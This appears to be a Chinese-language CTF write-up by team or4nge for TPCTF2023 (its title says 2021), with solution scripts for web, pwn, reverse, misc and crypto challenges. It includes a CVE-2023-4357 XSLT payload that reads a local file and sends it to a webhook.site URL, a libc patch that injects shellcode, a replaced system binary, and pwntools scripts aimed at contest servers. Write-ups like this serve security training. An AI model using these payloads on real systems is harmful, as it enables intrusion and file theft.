TPCTF2021 Writeup by or4nge
rank: 12th
or4nge 的师傅们在第八届 XCTF 国际网络攻防联赛 TPCTF2023 分站赛中奋战 48 小时,拿到了 12 名的好成绩,师傅们真棒!
TPCTF2023
Web
CVE-2023-4357
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div class="b" style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://webhook.site/903a3c2b-cb5f-49a2-8071-c26e8c46d37c/', true);
var divElement = document.querySelector('p');
xhr.send(divElement.textContent);
</script>
</body>
</xsl:template>
</xsl:stylesheet>
通过延时回显不同来泄漏 flag:
from pwn import *
import string
context.log_level = 'debug'
dic = "{}_-" + string.ascii_letters + string.digits
flag = "TPCTF{"
xml = """<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///flag">
<!ENTITY passwd_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')" />
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
flag = document.querySelector('p').textContent;
if (flag.charCodeAt({}) >= {}) {{
<![CDATA[
function fib(n) {{
return n< 2 ? 1 : fib(n - 1) + fib(n - 2);
}};
console.log(fib(100));
]]>
}}
</script>
</body>
</xsl:template>
</xsl:stylesheet>
EOF"""
index = 6
while True:
low = 40
high = 125
while low <= high:
mid = (low + high) // 2
p = remote("202.112.238.82", 23379)
p.sendlineafter(b"File name:", b'a.svg')
p.sendlineafter(b"Input your file:\n", xml.format(index, mid).encode())
print(p.recvline().decode())
print(p.recvline().decode())
res = p.recvline().decode().strip()
if res != "Bye bye!":
p.recvline().decode().strip()
p.clean()
p.close()
low = mid + 1
else:
p.clean()
p.close()
high = mid - 1
flag += chr(high)
print("[+]flag:", flag)
index += 1
TPCTF2023
Pwn
mv bin bin1
/bin1/mkdir bin
/bin1/chmod 777 bin
/bin1/echo "/bin1/cat /root/flag" > /bin/umount
/bin1/chmod 777 /bin/umount
exit
core revenge
patch libc的exit函数为orw的shellcode,然后直接exit。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FILENAME "/lib64/libc.so.6" // 文件路径
#define OFFSET 0xBF4F0 // 写入偏移量
unsigned char data[] = {104,96,102,1,1,129,52,36,1,1,1,1,72,184,47,114,111,111,116,47,102,108,80,72,137,231,49,210,49,246,106,2,88,15,5,72,137,199,49,192,106,64,90,72,137,230,15,5,106,1,95,72,137,194,72,137,230,106,1,88,15,5,49,255,106,60,88,15,5};
int main() {
FILE *file = fopen(FILENAME, "r+b");
if (file == NULL) {
perror("Failed to open file");
return 1;
}
// 将文件指针移动到指定偏移量
if (fseek(file, OFFSET, SEEK_SET) != 0) {
perror("Failed to seek file");
fclose(file);
return 1;
}
// 写入数据
if (fwrite(data, sizeof(char), sizeof(data), file) != sizeof(data)) {
perror("Failed to write data");
fclose(file);
return 1;
}
fclose(file);
return 0;
}
TPCTF2023
Reverse
maze
pyinstxtractor提取python打包文件,发现核心逻辑是maze.so,由Cython编译而来
写出示例代码编译出共享库进行流程比对,核心函数是_pyx_pw_4maze_5run
_Pyx_PyObject_FastCallDict调用了子函数,搜索结构体名可以得知函数位置
程序首先对给定字符串做base64解码,得到一个类似maze的东西
## ## ## ## ## ## ##
## ## ## ^^ ## ^^ ##
## ## ## .. ## IZ ## ## ## ##
## %R .. %D ## %D .. .. %L ##
## >> ## .. ## EA ** PP %U ##
## %U IA TA ## EB ** PP %U ##
## %U IB TB ## EC ** PP %U ##
## %U IC TC ## ED ** PP %U ##
## %U ID TD ## EE ** PP %U ##
## %U IE TE ## EF ** PP %U ##
## %U IF TF ## %R ** IZ %U ##
## %U IG %L ## ## ## ## ## ##
## ## ## ## ## ##
PP -> +=1
MM -> -=1
IZ -> =0
EA -> IF ==0 THEN %R ELSE %D
EB -> IF ==1 THEN %R ELSE %D
EC -> IF ==2 THEN %R ELSE %D
ED -> IF ==3 THEN %R ELSE %D
EE -> IF ==4 THEN %R ELSE %D
EF -> IF ==5 THEN %R ELSE %D
TA -> IF ** THEN %L ELSE %D
IA -> =72
TB -> IF ** THEN %L ELSE %D
IB -> =73
TC -> IF ** THEN %L ELSE %D
IC -> =84
TD -> IF ** THEN %L ELSE %D
ID -> =80
TE -> IF ** THEN %L ELSE %D
IE -> =67
TF -> IF ** THEN %L ELSE %D
IF -> =84
IG -> =70
LT -> IF ==6 THEN %D ELSE %L
猜测>>是generate,也就是循环输出HITPCTF,猜测这就是密钥
继续向下分析函数,_pyx_pw_4maze_1aW5pdF9zZWNyZXQ做了密文数组的初始化
然后与将输入与密钥异或,与密文比较即可
写出解密脚本
code = 'IyMgIyMgIyMgIyMgIyMgIyMgIyMKIyMgIyMgIyMgXl4gIyMgXl4gIyMKIyMgIyMgIyMgLi4gIyMgSVogIyMgIyMgIyMgIyM'\
'KIyMgJVIgLi4gJUQgIyMgJUQgLi4gLi4gJUwgIyMKIyMgPj4gIyMgLi4gIyMgRUEgKiogUFAgJVUgIyMKIyMgJVUgSUEgVE'\
'EgIyMgRUIgKiogUFAgJVUgIyMKIyMgJVUgSUIgVEIgIyMgRUMgKiogUFAgJVUgIyMKIyMgJVUgSUMgVEMgIyMgRUQgKiogU'\
'FAgJVUgIyMKIyMgJVUgSUQgVEQgIyMgRUUgKiogUFAgJVUgIyMKIyMgJVUgSUUgVEUgIyMgRUYgKiogUFAgJVUgIyMKIyMg'\
'JVUgSUYgVEYgIyMgJVIgKiogSVogJVUgIyMKIyMgJVUgSUcgJUwgIyMgIyMgIyMgIyMgIyMgIyMKIyMgIyMgIyMgIyMgIyM'\
'gIyMKClBQIC0+ICs9MQpNTSAtPiAtPTEKSVogLT4gPTAKRUEgLT4gSUYgPT0wIFRIRU4gJVIgRUxTRSAlRApFQiAtPiBJRi'\
'A9PTEgVEhFTiAlUiBFTFNFICVECkVDIC0+IElGID09MiBUSEVOICVSIEVMU0UgJUQKRUQgLT4gSUYgPT0zIFRIRU4gJVIgR'\
'UxTRSAlRApFRSAtPiBJRiA9PTQgVEhFTiAlUiBFTFNFICVECkVGIC0+IElGID09NSBUSEVOICVSIEVMU0UgJUQKVEEgLT4g'\
'SUYgKiogVEhFTiAlTCBFTFNFICVECklBIC0+ID03MgpUQiAtPiBJRiAqKiBUSEVOICVMIEVMU0UgJUQKSUIgLT4gPTczClR'\
'DIC0+IElGICoqIFRIRU4gJUwgRUxTRSAlRApJQyAtPiA9ODQKVEQgLT4gSUYgKiogVEhFTiAlTCBFTFNFICVECklEIC0+ID'\
'04MApURSAtPiBJRiAqKiBUSEVOICVMIEVMU0UgJUQKSUUgLT4gPTY3ClRGIC0+IElGICoqIFRIRU4gJUwgRUxTRSAlRApJR'\
'iAtPiA9ODQKSUcgLT4gPTcwCkxUIC0+IElGID09NiBUSEVOICVEIEVMU0UgJUwK'
from base64 import *
print(b64decode(code).decode())
cmp = [7, 47, 60, 28, 39, 11, 23, 5, 49, 49, 26, 11, 63, 4, 9, 2, 25, 61, 36, 112, 25, 15, 62, 25, 3, 16, 102, 38, 14, 7, 37, 4, 40]
key = [18, 17, 15, 0, 27, 31, 10, 19, 14, 21, 25, 22, 6, 3, 30, 8, 24, 5, 7, 4, 13, 29, 9, 26, 1, 2, 28, 16, 20, 32, 12, 23, 11]
for i in range(33):
l = cmp[i]
cmp[i] = cmp[key[i]]
cmp[key[i]] = l
key = [ord(i) for i in 'HITPCTF']
cmp = [cmp[i]^(key[i%7]) for i in range(33)]
print(bytes(cmp))
'''
HITPCTF
TPCTF{y
'''
TPCTF2023
Misc
safebox
> put 123.flag 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 123456789098765432101234567890123456789
> mv 123.flag 123
> get 123 0 100 123456789098765432101234567890123456789
mv之后读取错误是由key2错误造成的,因为移动之后目录变化,key2的生成与目录有关
mv之后的get的数据和原数据的关系如下
data'=data+(key^ key2)-(key^ key2_{new})
然后对flag文件进行相同操作
> putflag 123 123456789098765432101234567890123456789
> mv 123.flag 123
> get 123 0 100 123456789098765432101234567890123456789
会发现key2
和key2_new
都不变
就可以通过前面算得的差值求出flag
from pwn import *
p=remote('116.63.165.231',1888)
p.sendlineafter(b'> ',b'put 123.flag 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 123456789098765432101234567890123456789')
p.sendlineafter(b'> ',b'mv 123.flag 123')
p.sendlineafter(b'> ',b'get 123 0 100 123456789098765432101234567890123456789')
data=bytes.fromhex(p.recvline().strip().decode())
p.sendlineafter(b'> ',b'putflag 123 123456789098765432101234567890123456789')
p.sendlineafter(b'> ',b'mv 123.flag 123')
p.sendlineafter(b'> ',b'get 123 0 100 123456789098765432101234567890123456789')
data2=bytes.fromhex(p.recvline().strip().decode())
for ind,i in enumerate(data2):
print(chr((i-(data[ind]-ord('a')))&0xff),end='')
safebox pro
这次不能套出key2了,但是可以控制key1
由于文件名变化,所以解密时的key2也发生变化
但这里key可控,可以通过控制key1,获得多组d,然后逐字节爆破key2和key2_new即可
from pwn import *
SBOX = b'\x1b\x8e6\xa5\xd2+\xad\'S]\x16\xa8e\xa6G\xe44,\xb9\xe2m/&\xbe\xce\x1fR\xf3\x14\xcal\x9fH\xee\xe3\x11\xdb\xe8\xc5\xcf\xab\xae\x7f\xfe\xe9\xd3\xeb@\xe0\x0f\xf9%\x97\x19\xacK\x90\xbd\x10\xcb8\xc8\x18\xc0D\xd8h)v\x13U\x0b\xc7\xa07\x99\xd7\x81L\x9b\xbf\xa4\xda\x03~\x84\x15\x95\x07P\x06B\xb5(o\x879\x1c\xe6$\xef\xfa\rp3\x9c\xb2 \x17\x86F`z|\xa3\x92E\x85\x02=\xddIb0\xf8\x12\xa1\x00T\xf4_5\xf7\x1e\x9d-i\x96g:\xb8\x04\xa7\xb0\xc2\x8a\xc4\xf1!2\x8b\xb7;J\x8d\xb4?[\xed\xc6\x89k\xe7\xd9wud\xa9\x0c\xb6\xff\xfc\xfb\xc9\xf2^>\\Ca\x0e\x91\t*\xde\x94sc#\xf6\xdfXOr\x8cqx\xc1\x80\xdc\xa2\x83A\n\xd6\x1af\xbc\xaf\xc3y\x8f\xfd\xcd\xe1\x9a{"\xbb\xd4\xea\xd1.\xe5Q\x82\xf0W\xb3t<\xd0n\x08j\xecM\xb1\x05V\xba\xcc\x9eN\x93}\xf5\xaa\x981Z\x88\xd5Y\x1d\x01'
ans=[' ']*32
for k in range(32):
while True:
p = remote('202.112.238.82', 10960)
p.sendlineafter(b'> ', b'putflag 123 0x00')
p.sendlineafter(b'> ', b'mv 123.flag 123')
p.sendlineafter(b'> ', b'get 123 0 100 0x00')
data0 = bytes.fromhex(p.recvline().strip().decode())
p.sendlineafter(b'> ', b'putflag 123 0x01')
p.sendlineafter(b'> ', b'mv 123.flag 123')
p.sendlineafter(b'> ', b'get 123 0 100 0x01')
data1 = bytes.fromhex(p.recvline().strip().decode())
p.sendlineafter(b'> ', b'putflag 123 0x02')
p.sendlineafter(b'> ', b'mv 123.flag 123')
p.sendlineafter(b'> ', b'get 123 0 100 0x02')
data2 = bytes.fromhex(p.recvline().strip().decode())
posb = []
posb2 = []
for i in range(256):
for j in range(256):
if (data0[k]-data1[k])&0xff == (SBOX[i]-SBOX[j]-(SBOX[i^0x01]-SBOX[j^0x01]))&0xff :
posb.append((i,j))
for i,j in posb:
if (data0[k]-data2[k])&0xff == (SBOX[i]-SBOX[j]-(SBOX[i^0x02]-SBOX[j^0x02]))&0xff :
posb2.append((i,j))
if len(posb2)==1:
x=posb2[0][0]
y=posb2[0][1]
res=chr((data0[k]+SBOX[y]+0x100-SBOX[x])&0xff)
if res.isascii():
ans[k]=res
break
print(''.join(ans))
../
会被标准化去掉,通过这一点泄漏 flag:
from pwn import *
p=remote('202.112.238.82', 13373)
flag='TP'
data='7a7f'
for i in range(40):
for j in string.printable:
p.sendlineafter(b'test: ', b'100')
p.sendlineafter(b' (in hex):',data.encode()+hex(ord(j))[2:].rjust(2,'0').encode()+b'00'*40)
p.recvline()
line=p.recvline()
line=line.decode().split('flag/')[1]
if line.startswith('%'):
flag+=chr(ord(j)^int(line[1:3],16))
data=''
if len(flag)%2==0:
for k in range(len(flag)//2):
data += hex(ord(flag[k*2])^ord('.'))[2:].rjust(2,'0')
data += hex(ord(flag[k*2+1]) ^ ord('/'))[2:].rjust(2, '0')
else:
for k in range(len(flag)//2-1):
data += hex(ord(flag[k*2])^ord('.'))[2:].rjust(2,'0')
data += hex(ord(flag[k*2+1]) ^ ord('/'))[2:].rjust(2, '0')
data += hex(ord(flag[-3]) ^ ord('.'))[2:].rjust(2, '0')
data += hex(ord(flag[-2]) ^ ord('.'))[2:].rjust(2, '0')
data += hex(ord(flag[-1]) ^ ord('/'))[2:].rjust(2, '0')
print(flag)
print(data)
break
小T的日常
通过图片可以定位到横滨北仲桥,对应的地铁站为樱木町站,其 5 分钟可以到达 Bandobashi Station,这个站边上有一个横滨桥通商店街,在里面搜索百円店可以找到CanDo,在其边上就是要找的服装店:
TPCTF{NARUKIYA:2311855}
通过传送和dfs慢慢收集碎片
from pwn import *
import hashlib
import string
import re
import time
# context.log_level = 'debug'
while True:
r = remote('202.112.238.82', '13370')
r.recvuntil(b'>')
maze, vis = [], []
L = 500
for i in range(L):
maze.append([0] * L)
vis.append([0] * L)
nowx, nowy = 250, 250
dx, dy = [1, -1, 0, 0], [0, 0, -1, 1]
act = [b'S', b'W', b'A', b'D']
def dfs(x, y):
# print(x, y)
vis[x][y] = 1
for i in range(4):
xx = x + dx[i]
yy = y + dy[i]
if vis[xx][yy]:
continue
r.sendline(act[i])
s = r.recvuntil(b'>')
# print(s)
if b'flag' in s:
maze[xx][yy] = 2
print(s)
dfs(xx, yy)
elif b'wall' in s:
maze[xx][yy] = 1
vis[xx][yy] = 1
elif b'transported' in s:
maze[xx][yy] = 3
return
else:
maze[xx][yy] = 0
dfs(xx, yy)
try:
dfs(250, 250)
except:
r.close()
TPCTF2023
Crypto
通过已知 output 可以求得 x^{22},x^{21},……的线性关系,遍历 256 获取满足这些关系的数,正好22位。然后通过 A·B=C 的矩阵乘法(A为顺序矩阵,B为类范德蒙矩阵,C为output)获取字符排列顺序。
from sage.all import *
output = [125, 31, 116, 106, 193, 7, 38, 194, 186, 33, 180, 189, 53, 126, 134, 237, 123, 65, 179, 196, 99, 74, 101, 153, 84, 74, 233, 5, 105, 32, 75, 168, 161, 2, 147, 18, 68, 68, 162, 21, 94, 194, 249, 179, 24, 60, 71, 12, 40, 198, 79, 92, 44, 72, 189, 236, 244, 151, 56, 93, 195, 121, 211, 26, 73, 240, 76, 70, 133, 186, 165, 48, 31, 39, 3, 219, 96, 14, 166, 139, 24, 206, 93, 250, 79, 246, 256, 199, 198, 131, 34, 192, 173, 35, 0, 171, 160, 151, 118, 24, 10, 100, 93, 19, 101, 15, 190, 74, 10, 117, 4, 41, 135, 45, 107, 155, 152, 95, 222, 214, 174, 139, 117, 211, 224, 120,
219, 250, 1, 110, 225, 196, 105, 96, 52, 231, 59, 70, 95, 56, 58, 248, 171, 16, 251, 165, 54, 4, 211, 60, 210, 158, 45, 96, 105, 116, 30, 239, 96, 37, 175, 254, 157, 26, 151, 141, 43, 110, 227, 199, 223, 135, 162, 112, 4, 45, 66, 228, 162, 238, 165, 158, 27, 18, 76, 36, 237, 107, 84, 57, 233, 96, 72, 6, 114, 44, 119, 174, 59, 82, 202, 26, 216, 35, 55, 159, 113, 98, 4, 74, 2, 128, 34, 180, 191, 8, 101, 169, 157, 120, 254, 158, 97, 227, 79, 151, 167, 64, 195, 42, 250, 207, 213, 238, 199, 111, 149, 18, 194, 240, 53, 130, 3, 188, 41, 100, 255, 158, 21, 189, 19, 214, 127]
p = 257
output1 = [253]+output
l = [(257-i)for i in output1]
B = []
for i in range(22):
tmp = l[i+20:i+42]
B.append(tmp)
B = Matrix(Zmod(p), B)
C = Matrix(Zmod(p), l[42:64])
C = C.transpose()
t = B.solve_right(C)
t = [i[0] for i in t]
known = []
def find(x, list3):
tmp = pow(x, 22)
for i in range(22):
tmp -= pow(x, i)*t[i]
return tmp % 257 == 0
for i in range(256):
if find(i, t):
known.append(i)
B = []
for i in range(253):
tmp = [j ** (i+1) % 257 for j in known]
B.append(tmp)
B = Matrix(Zmod(p), B)
C = Matrix(Zmod(p), output).transpose()
A = B.solve_right(C)
A = list(A.transpose()[0])
for i in range(1, 23):
print(chr(known[A.index(i)]), end='')
通过报错类型判断字符是否存在 flag 中,进而判断字符个数,通过侧信道泄漏 flag:
from pwn import *
context.log_level = 'debug'
t = """C=A&255
E=C=={}
B=E
EOF"""
known = [49, 65, 67, 70, 80, 84, 95, 97, 99, 100, 101, 103, 104, 108, 110, 114, 115, 116, 123, 125]
print(len(set(known)))
for i in range(256):
p = remote("202.112.238.82", 13371)
p.sendlineafter(b"A:\n", t.format(i).encode())
res = p.recvline().strip().decode()
if res == "You did not sort correctly":
p.clean()
p.close()
continue
else:
p.recvuntil(b"results are not same")
known.append(i)
p.clean()
p.close()
print(known)
然后排序一下发过去即可:
from pwn import *
context.log_level = 'debug'
t = """B=1327909533204109794963065773635694944483154930546357518757596128115581
EOF"""
p = remote("202.112.238.82", 13371)
p.sendlineafter(b"A:\n", t.encode())
res = p.recvline().strip().decode()
print(res)
p.close()
文案:or4nge
排版:周开城